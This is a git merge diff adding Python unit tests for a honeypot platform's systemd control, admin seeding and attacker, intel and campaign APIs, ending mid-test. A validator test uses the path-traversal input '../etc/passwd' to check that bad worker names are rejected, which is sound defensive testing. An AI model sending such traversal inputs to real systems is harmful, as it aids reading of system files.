merge: testing → main (reconcile 2-week divergence)

This commit is contained in:
2026-04-28 18:36:00 -04:00
parent 499836c9e4
commit 862e4dbb31
1235 changed files with 160255 additions and 7996 deletions

0
tests/web/__init__.py Normal file
View File

View File

View File

@@ -0,0 +1,133 @@
"""Unit tests for :mod:`decnet.web.services.systemd_control`.
These tests monkeypatch :func:`asyncio.create_subprocess_exec` so we
never touch real ``systemctl``. The contract under test is:
* argv shape — ``["systemctl", <verb>, "decnet-<name>.service"]``
* non-zero return ⇒ :class:`SystemctlError` with returncode + stderr
* ``list_installed`` parses ``list-unit-files`` output into a name set
* cache honours the 30s TTL
"""
from __future__ import annotations
import asyncio
from typing import Any, List, Tuple
import pytest
from decnet.web.services import systemd_control as sc
class _FakeProc:
def __init__(self, returncode: int, stdout: bytes, stderr: bytes) -> None:
self.returncode = returncode
self._stdout = stdout
self._stderr = stderr
async def communicate(self) -> Tuple[bytes, bytes]:
return self._stdout, self._stderr
def _patch_exec(monkeypatch: Any, *, rc: int = 0, stdout: bytes = b"", stderr: bytes = b"") -> List[tuple]:
calls: List[tuple] = []
async def fake_exec(*argv: str, **_kwargs: Any) -> _FakeProc:
calls.append(argv)
return _FakeProc(rc, stdout, stderr)
monkeypatch.setattr(asyncio, "create_subprocess_exec", fake_exec)
return calls
@pytest.fixture(autouse=True)
def _reset_cache() -> None:
sc.reset_cache_for_tests()
yield
sc.reset_cache_for_tests()
@pytest.mark.asyncio
async def test_start_builds_correct_argv(monkeypatch: Any) -> None:
calls = _patch_exec(monkeypatch, rc=0)
await sc.start("mutator")
assert calls == [("systemctl", "start", "decnet-mutator.service")]
@pytest.mark.asyncio
async def test_stop_builds_correct_argv(monkeypatch: Any) -> None:
calls = _patch_exec(monkeypatch, rc=0)
await sc.stop("sniffer")
assert calls == [("systemctl", "stop", "decnet-sniffer.service")]
@pytest.mark.asyncio
async def test_start_raises_systemctl_error_on_nonzero(monkeypatch: Any) -> None:
_patch_exec(monkeypatch, rc=5, stderr=b"Unit decnet-mutator.service not found.\n")
with pytest.raises(sc.SystemctlError) as exc_info:
await sc.start("mutator")
err = exc_info.value
assert err.returncode == 5
assert err.unit == "decnet-mutator.service"
assert "not found" in err.stderr
@pytest.mark.asyncio
async def test_is_active_true_when_stdout_active(monkeypatch: Any) -> None:
_patch_exec(monkeypatch, rc=0, stdout=b"active\n")
assert await sc.is_active("bus") is True
@pytest.mark.asyncio
async def test_is_active_false_when_inactive(monkeypatch: Any) -> None:
# systemctl exits 3 for "inactive" — is_active must treat that as a
# signal, not an error.
_patch_exec(monkeypatch, rc=3, stdout=b"inactive\n")
assert await sc.is_active("bus") is False
@pytest.mark.asyncio
async def test_list_installed_parses_unit_files(monkeypatch: Any) -> None:
stdout = (
b"decnet-bus.service enabled enabled\n"
b"decnet-api.service enabled enabled\n"
b"decnet-mutator.service disabled enabled\n"
)
_patch_exec(monkeypatch, rc=0, stdout=stdout)
names = await sc.list_installed()
assert names == {"bus", "api", "mutator"}
@pytest.mark.asyncio
async def test_list_installed_returns_empty_on_failure(monkeypatch: Any) -> None:
_patch_exec(monkeypatch, rc=1, stderr=b"systemctl: command not found\n")
names = await sc.list_installed()
assert names == set()
@pytest.mark.asyncio
async def test_list_installed_is_cached(monkeypatch: Any) -> None:
stdout = b"decnet-bus.service enabled enabled\n"
calls = _patch_exec(monkeypatch, rc=0, stdout=stdout)
await sc.list_installed()
await sc.list_installed()
await sc.list_installed()
# Three logical calls, one real subprocess invocation.
assert len(calls) == 1
@pytest.mark.asyncio
async def test_list_installed_force_bypasses_cache(monkeypatch: Any) -> None:
stdout = b"decnet-bus.service enabled enabled\n"
calls = _patch_exec(monkeypatch, rc=0, stdout=stdout)
await sc.list_installed()
await sc.list_installed(force=True)
assert len(calls) == 2
def test_invalid_worker_name_rejected() -> None:
with pytest.raises(ValueError):
sc._unit("../etc/passwd")
with pytest.raises(ValueError):
sc._unit("bus.service")
with pytest.raises(ValueError):
sc._unit("")

View File

@@ -0,0 +1,66 @@
"""
Tests for _ensure_admin_user env-drift self-healing.
Scenario: DECNET_ADMIN_PASSWORD changes between runs while the SQLite DB
persists on disk. Previously _ensure_admin_user was strictly insert-if-missing,
so the stale hash from the first seed locked out every subsequent login.
Contract: if the admin still has must_change_password=True (they never
finalized their own password), the stored hash re-syncs from the env.
Once the admin picks a real password, we never touch it.
"""
import pytest
from decnet.web.auth import verify_password
from decnet.web.db.sqlite.repository import SQLiteRepository
@pytest.mark.asyncio
async def test_admin_seeded_on_empty_db(tmp_path, monkeypatch):
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "first")
repo = SQLiteRepository(db_path=str(tmp_path / "t.db"))
await repo.initialize()
user = await repo.get_user_by_username("admin")
assert user is not None
assert verify_password("first", user["password_hash"])
assert user["must_change_password"] is True or user["must_change_password"] == 1
@pytest.mark.asyncio
async def test_admin_password_resyncs_when_not_finalized(tmp_path, monkeypatch):
db = str(tmp_path / "t.db")
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "first")
r1 = SQLiteRepository(db_path=db)
await r1.initialize()
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "second")
r2 = SQLiteRepository(db_path=db)
await r2.initialize()
user = await r2.get_user_by_username("admin")
assert verify_password("second", user["password_hash"])
assert not verify_password("first", user["password_hash"])
@pytest.mark.asyncio
async def test_finalized_admin_password_is_preserved(tmp_path, monkeypatch):
db = str(tmp_path / "t.db")
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "seed")
r1 = SQLiteRepository(db_path=db)
await r1.initialize()
admin = await r1.get_user_by_username("admin")
# Simulate the admin finalising their password via the change-password flow.
from decnet.web.auth import get_password_hash
await r1.update_user_password(
admin["uuid"], get_password_hash("chosen"), must_change_password=False
)
monkeypatch.setattr("decnet.web.db.sqlmodel_repo.DECNET_ADMIN_PASSWORD", "different")
r2 = SQLiteRepository(db_path=db)
await r2.initialize()
user = await r2.get_user_by_username("admin")
assert verify_password("chosen", user["password_hash"])
assert not verify_password("different", user["password_hash"])

View File

@@ -0,0 +1,54 @@
"""Tests for GET /api/v1/attackers/{uuid}/intel."""
from __future__ import annotations
from unittest.mock import AsyncMock, patch
import pytest
from fastapi import HTTPException
@pytest.mark.asyncio
async def test_returns_cached_intel_row():
from decnet.web.router.attackers.api_get_attacker_intel import (
get_attacker_intel,
)
fake_row = {
"attacker_uuid": "att-uuid-xyz",
"attacker_ip": "1.2.3.4",
"aggregate_verdict": "malicious",
"greynoise_classification": "malicious",
"abuseipdb_score": 92,
"feodo_listed": True,
"threatfox_listed": False,
}
with patch(
"decnet.web.router.attackers.api_get_attacker_intel.repo"
) as mock_repo:
mock_repo.get_attacker_intel_by_uuid = AsyncMock(return_value=fake_row)
result = await get_attacker_intel(
uuid="att-uuid-xyz",
user={"uuid": "viewer", "role": "viewer"},
)
assert result["attacker_uuid"] == "att-uuid-xyz"
assert result["aggregate_verdict"] == "malicious"
assert result["abuseipdb_score"] == 92
@pytest.mark.asyncio
async def test_404_when_no_row_cached():
from decnet.web.router.attackers.api_get_attacker_intel import (
get_attacker_intel,
)
with patch(
"decnet.web.router.attackers.api_get_attacker_intel.repo"
) as mock_repo:
mock_repo.get_attacker_intel_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as excinfo:
await get_attacker_intel(
uuid="missing-uuid",
user={"uuid": "viewer", "role": "viewer"},
)
assert excinfo.value.status_code == 404
assert "No intel cached" in excinfo.value.detail

View File

@@ -0,0 +1,638 @@
"""
Tests for the attacker profile API routes.
Covers:
- GET /attackers: paginated list, search, sort_by
- GET /attackers/{uuid}: single profile detail, 404 on missing UUID
- Auth enforcement on both endpoints
"""
import json
from datetime import datetime, timezone
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
from fastapi import HTTPException
from decnet.web.auth import create_access_token
from decnet.web.router.attackers.api_get_attackers import _reset_total_cache
@pytest.fixture(autouse=True)
def _reset_attackers_cache():
_reset_total_cache()
yield
_reset_total_cache()
# ─── Helpers ──────────────────────────────────────────────────────────────────
def _auth_request(uuid: str = "test-user-uuid") -> MagicMock:
token = create_access_token({"uuid": uuid})
req = MagicMock()
req.headers = {"Authorization": f"Bearer {token}"}
return req
def _sample_attacker(uuid: str = "att-uuid-1", ip: str = "1.2.3.4") -> dict:
return {
"uuid": uuid,
"ip": ip,
"first_seen": datetime(2026, 4, 1, tzinfo=timezone.utc).isoformat(),
"last_seen": datetime(2026, 4, 10, tzinfo=timezone.utc).isoformat(),
"event_count": 42,
"service_count": 3,
"decky_count": 2,
"services": ["ssh", "http", "ftp"],
"deckies": ["decky-01", "decky-02"],
"traversal_path": "decky-01 → decky-02",
"is_traversal": True,
"bounty_count": 5,
"credential_count": 2,
"fingerprints": [{"type": "ja3", "hash": "abc"}],
"commands": [{"service": "ssh", "decky": "decky-01", "command": "id", "timestamp": "2026-04-01T10:00:00"}],
"updated_at": datetime(2026, 4, 10, tzinfo=timezone.utc).isoformat(),
}
# ─── GET /attackers ──────────────────────────────────────────────────────────
class TestGetAttackers:
@pytest.mark.asyncio
async def test_returns_paginated_response(self):
from decnet.web.router.attackers.api_get_attackers import get_attackers
sample = _sample_attacker()
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[sample])
mock_repo.get_total_attackers = AsyncMock(return_value=1)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
result = await get_attackers(
limit=50, offset=0, search=None, sort_by="recent",
user={"uuid": "test-user", "role": "viewer"},
)
assert result["total"] == 1
assert result["limit"] == 50
assert result["offset"] == 0
assert len(result["data"]) == 1
assert result["data"][0]["uuid"] == "att-uuid-1"
@pytest.mark.asyncio
async def test_search_parameter_forwarded(self):
from decnet.web.router.attackers.api_get_attackers import get_attackers
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[])
mock_repo.get_total_attackers = AsyncMock(return_value=0)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
await get_attackers(
limit=50, offset=0, search="192.168", sort_by="recent",
user={"uuid": "test-user", "role": "viewer"},
)
mock_repo.get_attackers.assert_awaited_once_with(
limit=50, offset=0, search="192.168", sort_by="recent", service=None,
)
mock_repo.get_total_attackers.assert_awaited_once_with(search="192.168", service=None)
@pytest.mark.asyncio
async def test_null_search_normalized(self):
from decnet.web.router.attackers.api_get_attackers import get_attackers
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[])
mock_repo.get_total_attackers = AsyncMock(return_value=0)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
await get_attackers(
limit=50, offset=0, search="null", sort_by="recent",
user={"uuid": "test-user", "role": "viewer"},
)
mock_repo.get_attackers.assert_awaited_once_with(
limit=50, offset=0, search=None, sort_by="recent", service=None,
)
@pytest.mark.asyncio
async def test_sort_by_active(self):
from decnet.web.router.attackers.api_get_attackers import get_attackers
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[])
mock_repo.get_total_attackers = AsyncMock(return_value=0)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
await get_attackers(
limit=50, offset=0, search=None, sort_by="active",
user={"uuid": "test-user", "role": "viewer"},
)
mock_repo.get_attackers.assert_awaited_once_with(
limit=50, offset=0, search=None, sort_by="active", service=None,
)
@pytest.mark.asyncio
async def test_empty_search_normalized_to_none(self):
from decnet.web.router.attackers.api_get_attackers import get_attackers
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[])
mock_repo.get_total_attackers = AsyncMock(return_value=0)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
await get_attackers(
limit=50, offset=0, search="", sort_by="recent",
user={"uuid": "test-user", "role": "viewer"},
)
mock_repo.get_attackers.assert_awaited_once_with(
limit=50, offset=0, search=None, sort_by="recent", service=None,
)
@pytest.mark.asyncio
async def test_service_filter_forwarded(self):
from decnet.web.router.attackers.api_get_attackers import get_attackers
with patch("decnet.web.router.attackers.api_get_attackers.repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[])
mock_repo.get_total_attackers = AsyncMock(return_value=0)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
await get_attackers(
limit=50, offset=0, search=None, sort_by="recent",
service="https", user={"uuid": "test-user", "role": "viewer"},
)
mock_repo.get_attackers.assert_awaited_once_with(
limit=50, offset=0, search=None, sort_by="recent", service="https",
)
mock_repo.get_total_attackers.assert_awaited_once_with(search=None, service="https")
# ─── GET /attackers/{uuid} ───────────────────────────────────────────────────
class TestGetAttackerDetail:
@pytest.mark.asyncio
async def test_returns_attacker_by_uuid(self):
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
sample = _sample_attacker()
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=[])
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=0)
result = await get_attacker_detail(uuid="att-uuid-1", user={"uuid": "test-user", "role": "viewer"})
assert result["uuid"] == "att-uuid-1"
assert result["ip"] == "1.2.3.4"
assert result["is_traversal"] is True
assert isinstance(result["commands"], list)
@pytest.mark.asyncio
async def test_404_on_unknown_uuid(self):
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc_info:
await get_attacker_detail(uuid="nonexistent", user={"uuid": "test-user", "role": "viewer"})
assert exc_info.value.status_code == 404
@pytest.mark.asyncio
async def test_deserialized_json_fields(self):
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
sample = _sample_attacker()
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=[])
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=0)
result = await get_attacker_detail(uuid="att-uuid-1", user={"uuid": "test-user", "role": "viewer"})
assert isinstance(result["services"], list)
assert isinstance(result["deckies"], list)
assert isinstance(result["fingerprints"], list)
assert isinstance(result["commands"], list)
@pytest.mark.asyncio
async def test_service_activity_splits_scanned_vs_interacted(self):
"""Attacker detail response buckets services by event-type signal."""
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
sample = _sample_attacker()
pairs = [
("ssh", "connection"),
("ssh", "shell_input"), # promotes ssh to interacted
("http", "get_request"), # scan only
("ftp", "retr"), # interacted
("bus", "startup"), # noise — dropped
]
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
mock_repo.get_attacker_service_activity = AsyncMock(return_value=pairs)
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=[])
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=0)
result = await get_attacker_detail(
uuid="att-uuid-1",
user={"uuid": "test-user", "role": "viewer"},
)
assert result["service_activity"] == {
"interacted": ["ftp", "ssh"],
"scanned": ["http"],
}
@pytest.mark.asyncio
async def test_ip_leaks_included_in_response(self):
"""Attacker detail surfaces ip_leak bounty rows for the UI."""
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
sample = _sample_attacker()
leaks = [
{
"timestamp": "2026-04-24T12:00:00+00:00",
"decky": "http-01",
"service": "http",
"bounty_type": "ip_leak",
"payload": {
"source_ip": "203.0.113.42",
"real_ip_claim": "198.51.100.7",
"source_header": "X-Forwarded-For",
"headers_seen": {
"X-Forwarded-For": "198.51.100.7",
},
},
},
]
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=leaks)
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=1)
result = await get_attacker_detail(
uuid="att-uuid-1",
user={"uuid": "test-user", "role": "viewer"},
)
assert result["ip_leaks"] == leaks
assert result["ip_leaks"][0]["payload"]["real_ip_claim"] == "198.51.100.7"
assert result["ip_leaks_total"] == 1
@pytest.mark.asyncio
async def test_ip_leaks_total_reported_separately_from_list(self):
"""Rotation attack: DB has 100 ip_leak rows, endpoint caps the
returned list at 10 but reports the full count so the UI can
render a ROTATION DETECTED badge."""
from decnet.web.router.attackers.api_get_attacker_detail import get_attacker_detail
sample = _sample_attacker()
# Caller already limited; we just assert the shape of the response.
first_ten = [
{
"timestamp": "2026-04-24T12:00:00+00:00",
"decky": "http-01",
"service": "http",
"bounty_type": "ip_leak",
"payload": {
"source_ip": "203.0.113.42",
"real_ip_claim": f"198.51.100.{i}",
"source_header": "X-Forwarded-For",
"headers_seen": {},
},
}
for i in range(1, 11)
]
with patch("decnet.web.router.attackers.api_get_attacker_detail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_behavior = AsyncMock(return_value=None)
mock_repo.get_attacker_service_activity = AsyncMock(return_value=[])
mock_repo.get_attacker_ip_leaks = AsyncMock(return_value=first_ten)
mock_repo.count_attacker_ip_leaks = AsyncMock(return_value=100)
result = await get_attacker_detail(
uuid="att-uuid-1",
user={"uuid": "test-user", "role": "viewer"},
)
assert len(result["ip_leaks"]) == 10
assert result["ip_leaks_total"] == 100
# ─── GET /attackers/{uuid}/commands ──────────────────────────────────────────
class TestGetAttackerCommands:
@pytest.mark.asyncio
async def test_returns_paginated_commands(self):
from decnet.web.router.attackers.api_get_attacker_commands import get_attacker_commands
sample = _sample_attacker()
cmds = [
{"service": "ssh", "decky": "decky-01", "command": "id", "timestamp": "2026-04-01T10:00:00"},
{"service": "ssh", "decky": "decky-01", "command": "whoami", "timestamp": "2026-04-01T10:01:00"},
]
with patch("decnet.web.router.attackers.api_get_attacker_commands.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_commands = AsyncMock(return_value={"total": 2, "data": cmds})
result = await get_attacker_commands(
uuid="att-uuid-1", limit=50, offset=0, service=None,
user={"uuid": "test-user", "role": "viewer"},
)
assert result["total"] == 2
assert len(result["data"]) == 2
assert result["limit"] == 50
assert result["offset"] == 0
@pytest.mark.asyncio
async def test_service_filter_forwarded(self):
from decnet.web.router.attackers.api_get_attacker_commands import get_attacker_commands
sample = _sample_attacker()
with patch("decnet.web.router.attackers.api_get_attacker_commands.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_commands = AsyncMock(return_value={"total": 0, "data": []})
await get_attacker_commands(
uuid="att-uuid-1", limit=50, offset=0, service="ssh",
user={"uuid": "test-user", "role": "viewer"},
)
mock_repo.get_attacker_commands.assert_awaited_once_with(
uuid="att-uuid-1", limit=50, offset=0, service="ssh",
)
@pytest.mark.asyncio
async def test_404_on_unknown_uuid(self):
from decnet.web.router.attackers.api_get_attacker_commands import get_attacker_commands
with patch("decnet.web.router.attackers.api_get_attacker_commands.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc_info:
await get_attacker_commands(
uuid="nonexistent", limit=50, offset=0, service=None,
user={"uuid": "test-user", "role": "viewer"},
)
assert exc_info.value.status_code == 404
# ─── GET /attackers/{uuid}/artifacts ─────────────────────────────────────────
class TestGetAttackerArtifacts:
@pytest.mark.asyncio
async def test_returns_artifacts(self):
from decnet.web.router.attackers.api_get_attacker_artifacts import get_attacker_artifacts
sample = _sample_attacker()
rows = [
{
"id": 1,
"timestamp": "2026-04-18T02:22:56+00:00",
"decky": "decky-01",
"service": "ssh",
"event_type": "file_captured",
"attacker_ip": "1.2.3.4",
"raw_line": "",
"msg": "",
"fields": json.dumps({
"stored_as": "2026-04-18T02:22:56Z_abc123def456_drop.bin",
"sha256": "deadbeef" * 8,
"size": "4096",
"orig_path": "/root/drop.bin",
}),
},
]
with patch("decnet.web.router.attackers.api_get_attacker_artifacts.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_artifacts = AsyncMock(return_value=rows)
result = await get_attacker_artifacts(
uuid="att-uuid-1",
user={"uuid": "test-user", "role": "viewer"},
)
assert result["total"] == 1
assert result["data"][0]["decky"] == "decky-01"
mock_repo.get_attacker_artifacts.assert_awaited_once_with("att-uuid-1")
@pytest.mark.asyncio
async def test_404_on_unknown_uuid(self):
from decnet.web.router.attackers.api_get_attacker_artifacts import get_attacker_artifacts
with patch("decnet.web.router.attackers.api_get_attacker_artifacts.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc_info:
await get_attacker_artifacts(
uuid="nonexistent",
user={"uuid": "test-user", "role": "viewer"},
)
assert exc_info.value.status_code == 404
# ─── GET /attackers/{uuid}/transcripts ───────────────────────────────────────
class TestGetAttackerTranscripts:
@pytest.mark.asyncio
async def test_returns_transcripts(self):
from decnet.web.router.attackers.api_get_attacker_transcripts import get_attacker_transcripts
sample = _sample_attacker()
rows = [
{
"id": 1,
"timestamp": "2026-04-18T02:22:56+00:00",
"decky": "decky-01",
"service": "ssh",
"event_type": "session_recorded",
"attacker_ip": "1.2.3.4",
"raw_line": "",
"msg": "",
"fields": json.dumps({
"sid": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
"service": "ssh",
"src_ip": "1.2.3.4",
"duration_s": "42",
"bytes": "1024",
"truncated": "false",
"shard_path": "/var/lib/systemd/coredump/transcripts/sessions-2026-04-18.jsonl",
}),
},
]
with patch("decnet.web.router.attackers.api_get_attacker_transcripts.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_transcripts = AsyncMock(return_value=rows)
result = await get_attacker_transcripts(
uuid="att-uuid-1",
user={"uuid": "test-user", "role": "viewer"},
)
assert result["total"] == 1
assert result["data"][0]["service"] == "ssh"
mock_repo.get_attacker_transcripts.assert_awaited_once_with("att-uuid-1")
@pytest.mark.asyncio
async def test_404_on_unknown_uuid(self):
from decnet.web.router.attackers.api_get_attacker_transcripts import get_attacker_transcripts
with patch("decnet.web.router.attackers.api_get_attacker_transcripts.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc_info:
await get_attacker_transcripts(
uuid="nonexistent",
user={"uuid": "test-user", "role": "viewer"},
)
assert exc_info.value.status_code == 404
# ─── GET /attackers/{uuid}/smtp-targets ──────────────────────────────────────
class TestGetAttackerSmtpTargets:
@pytest.mark.asyncio
async def test_returns_smtp_targets(self):
from decnet.web.router.attackers.api_get_attacker_smtp_targets import (
get_attacker_smtp_targets,
)
sample = _sample_attacker()
rows = [
{
"id": 1, "attacker_uuid": "att-uuid-1",
"domain": "corp1.com", "count": 5,
"first_seen": "2026-04-18T02:22:56+00:00",
"last_seen": "2026-04-19T10:15:03+00:00",
},
]
with patch("decnet.web.router.attackers.api_get_attacker_smtp_targets.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.list_smtp_targets = AsyncMock(return_value=rows)
result = await get_attacker_smtp_targets(
uuid="att-uuid-1",
user={"uuid": "test-user", "role": "viewer"},
)
assert result["total"] == 1
assert result["data"][0]["domain"] == "corp1.com"
mock_repo.list_smtp_targets.assert_awaited_once_with("att-uuid-1")
@pytest.mark.asyncio
async def test_404_on_unknown_uuid(self):
from decnet.web.router.attackers.api_get_attacker_smtp_targets import (
get_attacker_smtp_targets,
)
with patch("decnet.web.router.attackers.api_get_attacker_smtp_targets.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc_info:
await get_attacker_smtp_targets(
uuid="nonexistent",
user={"uuid": "test-user", "role": "viewer"},
)
assert exc_info.value.status_code == 404
# ─── GET /attackers/{uuid}/mail ──────────────────────────────────────────────
class TestGetAttackerMail:
@pytest.mark.asyncio
async def test_returns_stored_mail(self):
from decnet.web.router.attackers.api_get_attacker_mail import get_attacker_mail
sample = _sample_attacker()
rows = [
{
"id": 1,
"timestamp": "2026-04-18T02:22:56+00:00",
"decky": "decky-01", "service": "smtp",
"event_type": "message_stored",
"attacker_ip": "1.2.3.4",
"raw_line": "", "msg": "",
"fields": json.dumps({
"stored_as": "2026-04-18T02:22:56Z_abc123def456_ABC123.eml",
"sha256": "deadbeef" * 8,
"size": "1024",
"subject": "URGENT invoice",
"from_hdr": "spam@evil.com",
"rcpt_to": "<a@corp.com>",
"attachment_count": "1",
}),
},
]
with patch("decnet.web.router.attackers.api_get_attacker_mail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
mock_repo.get_attacker_stored_mail = AsyncMock(return_value=rows)
result = await get_attacker_mail(
uuid="att-uuid-1",
admin={"uuid": "test-admin", "role": "admin"},
)
assert result["total"] == 1
assert result["data"][0]["event_type"] == "message_stored"
mock_repo.get_attacker_stored_mail.assert_awaited_once_with("att-uuid-1")
@pytest.mark.asyncio
async def test_404_on_unknown_uuid(self):
from decnet.web.router.attackers.api_get_attacker_mail import get_attacker_mail
with patch("decnet.web.router.attackers.api_get_attacker_mail.repo") as mock_repo:
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
with pytest.raises(HTTPException) as exc_info:
await get_attacker_mail(
uuid="nonexistent",
admin={"uuid": "test-admin", "role": "admin"},
)
assert exc_info.value.status_code == 404
# ─── Auth enforcement ────────────────────────────────────────────────────────
class TestAttackersAuth:
@pytest.mark.asyncio
async def test_list_requires_auth(self):
"""get_current_user dependency raises 401 when called without valid token."""
from decnet.web.dependencies import get_current_user
req = MagicMock()
req.headers = {}
with pytest.raises(HTTPException) as exc_info:
await get_current_user(req)
assert exc_info.value.status_code == 401
@pytest.mark.asyncio
async def test_detail_requires_auth(self):
from decnet.web.dependencies import get_current_user
req = MagicMock()
req.headers = {"Authorization": "Bearer bad-token"}
with pytest.raises(HTTPException) as exc_info:
await get_current_user(req)
assert exc_info.value.status_code == 401

View File

@@ -0,0 +1,254 @@
"""Tests for the campaign-clustering read API.
Mirrors :mod:`tests.web.test_api_identities` for the layer above.
The campaign clusterer is a separate worker; these tests cover the
read-only API which ships in the same wave. Empty-table behaviour,
soft-merge resolution, and pagination forwarding are the headline
cases.
"""
from datetime import datetime, timezone
from unittest.mock import AsyncMock, patch
import pytest
from fastapi import HTTPException
def _campaign_row(
uuid: str = "c-uuid-1",
merged_into_uuid: str | None = None,
identity_count: int = 0,
) -> dict:
now = datetime(2026, 4, 26, tzinfo=timezone.utc).isoformat()
return {
"uuid": uuid,
"schema_version": 1,
"first_seen_at": None,
"last_seen_at": None,
"created_at": now,
"updated_at": now,
"confidence": None,
"identity_count": identity_count,
"ja3_hashes": None,
"hassh_hashes": None,
"payload_simhashes": None,
"c2_endpoints": None,
"merged_into_uuid": merged_into_uuid,
"notes": None,
}
def _identity_row(uuid: str, campaign_id: str | None) -> dict:
return {
"uuid": uuid,
"schema_version": 1,
"campaign_id": campaign_id,
"merged_into_uuid": None,
}
# ─── GET /campaigns ──────────────────────────────────────────────────────────
class TestListCampaigns:
@pytest.mark.asyncio
async def test_empty_table_returns_zero_total(self):
from decnet.web.router.campaigns.api_list_campaigns import list_campaigns
with patch(
"decnet.web.router.campaigns.api_list_campaigns.repo"
) as mock_repo:
mock_repo.list_campaigns = AsyncMock(return_value=[])
mock_repo.count_campaigns = AsyncMock(return_value=0)
result = await list_campaigns(
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
)
assert result == {"total": 0, "limit": 50, "offset": 0, "data": []}
@pytest.mark.asyncio
async def test_returns_seeded_data(self):
from decnet.web.router.campaigns.api_list_campaigns import list_campaigns
rows = [_campaign_row(f"c-{n}") for n in range(3)]
with patch(
"decnet.web.router.campaigns.api_list_campaigns.repo"
) as mock_repo:
mock_repo.list_campaigns = AsyncMock(return_value=rows)
mock_repo.count_campaigns = AsyncMock(return_value=3)
result = await list_campaigns(
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
)
assert result["total"] == 3
assert [r["uuid"] for r in result["data"]] == ["c-0", "c-1", "c-2"]
@pytest.mark.asyncio
async def test_pagination_args_forwarded(self):
from decnet.web.router.campaigns.api_list_campaigns import list_campaigns
with patch(
"decnet.web.router.campaigns.api_list_campaigns.repo"
) as mock_repo:
mock_repo.list_campaigns = AsyncMock(return_value=[])
mock_repo.count_campaigns = AsyncMock(return_value=0)
await list_campaigns(
limit=10, offset=20, user={"uuid": "u", "role": "viewer"}
)
mock_repo.list_campaigns.assert_awaited_once_with(limit=10, offset=20)
# ─── GET /campaigns/{uuid} ───────────────────────────────────────────────────
class TestGetCampaignDetail:
@pytest.mark.asyncio
async def test_404_on_missing_uuid(self):
